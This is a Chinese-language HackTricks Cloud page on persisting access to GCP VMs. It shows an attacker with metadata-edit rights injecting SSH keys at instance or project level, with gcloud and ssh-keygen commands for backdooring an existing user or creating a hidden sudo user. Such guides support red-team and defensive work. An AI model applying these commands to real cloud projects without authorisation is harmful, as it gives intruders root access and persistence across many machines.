GCP - 添加自定义 SSH 元数据
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
修改元数据
对实例的元数据进行修改可能会导致 如果攻击者获得必要的权限,将会带来重大安全风险。
将 SSH 密钥纳入自定义元数据
在 GCP 上,Linux 系统 通常会从 Python Linux Guest Environment for Google Compute Engine 执行脚本。其关键组件是 accounts daemon,旨在 定期检查 实例元数据端点以获取 授权 SSH 公钥的更新。
因此,如果攻击者能够修改自定义元数据,他可以使守护进程找到一个新的公钥,该公钥将被处理并 集成到本地系统中。该密钥将被添加到 现有用户的 ~/.ssh/authorized_keys 文件中,或者根据密钥的格式可能创建一个具有 sudo 权限的新用户。攻击者将能够攻陷主机。
将 SSH 密钥添加到现有特权用户
- 检查实例上的现有 SSH 密钥:
- 执行命令以描述实例及其元数据,以定位现有的 SSH 密钥。输出中的相关部分将在
metadata下,具体是ssh-keys键。
gcloud compute instances describe [INSTANCE] --zone [ZONE]
- 注意 SSH 密钥的格式:用户名在密钥之前,以冒号分隔。
- 为 SSH 密钥元数据准备文本文件:
- 将用户名及其对应的 SSH 密钥的详细信息保存到名为
meta.txt的文本文件中。这对于在添加新密钥时保留现有密钥至关重要。
- 为目标用户(本示例中的
alice)生成新的 SSH 密钥:
- 使用
ssh-keygen命令生成新的 SSH 密钥,确保注释字段(-C)与目标用户名匹配。
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
- 将新的公钥添加到
meta.txt中,模仿实例元数据中的格式。
- 更新实例的 SSH 密钥元数据:
- 使用
gcloud compute instances add-metadata命令将更新的 SSH 密钥元数据应用于实例。
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
- 使用新 SSH 密钥访问实例:
- 使用新密钥通过 SSH 连接到实例,以目标用户(本示例中的
alice)的身份访问 shell。
ssh -i ./key alice@localhost
sudo id
创建新特权用户并添加 SSH 密钥
如果没有找到有趣的用户,可以创建一个新用户并赋予其 sudo 权限:
# define the new account username
NEWUSER="definitelynotahacker"
# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt
# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
项目级别的 SSH 密钥
通过 在项目级别应用 SSH 密钥,可以扩大对云环境中多个虚拟机 (VM) 的 SSH 访问范围。这种方法允许对项目中未明确阻止项目范围内 SSH 密钥的任何实例进行 SSH 访问。以下是简要指南:
- 在项目级别应用 SSH 密钥:
- 使用
gcloud compute project-info add-metadata命令将meta.txt中的 SSH 密钥添加到项目的元数据中。此操作确保 SSH 密钥在项目中的所有 VM 中被识别,除非某个 VM 启用了“阻止项目范围内 SSH 密钥”选项。
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
- 使用项目范围内的密钥 SSH 进入实例:
- 在项目范围内的 SSH 密钥到位后,您可以 SSH 进入项目中的任何实例。未阻止项目范围内密钥的实例将接受 SSH 密钥,从而授予访问权限。
- SSH 进入实例的直接方法是使用
gcloud compute ssh [INSTANCE]命令。此命令使用您当前的用户名和在项目级别设置的 SSH 密钥尝试访问。
参考
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

